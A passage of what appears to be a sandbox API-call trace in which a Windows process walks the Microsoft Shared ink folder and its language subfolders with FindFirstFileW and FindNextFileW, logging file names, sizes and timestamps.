dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0077.611] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0077.611] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0077.612] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0077.612] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0077.612] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0077.612] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0077.613] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0077.614] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0077.614] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0077.614] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0077.614] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0077.614] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0077.615] GetProcessHeap () returned 0x470000 [0077.615] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0077.615] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0077.615] GetProcessHeap () returned 0x470000 [0077.615] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0077.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0077.616] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0077.616] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0077.616] GetProcessHeap () returned 0x470000 [0077.616] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0077.616] GetProcessHeap () returned 0x470000 [0077.616] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0077.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0078.898] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.898] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0078.898] GetProcessHeap () returned 0x470000 [0078.898] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0078.898] GetProcessHeap () returned 0x470000 [0078.898] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0078.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0078.899] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.899] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.899] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.899] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0078.900] GetProcessHeap () returned 0x470000 [0078.900] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0078.900] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0078.900] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0078.900] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0078.900] GetProcessHeap () returned 0x470000 [0078.900] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0078.900] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0078.901] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.901] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.901] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.901] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0078.901] GetProcessHeap () returned 0x470000 [0078.901] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0078.901] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0078.901] GetProcessHeap () returned 0x470000 [0078.901] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0078.901] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0078.902] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.902] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 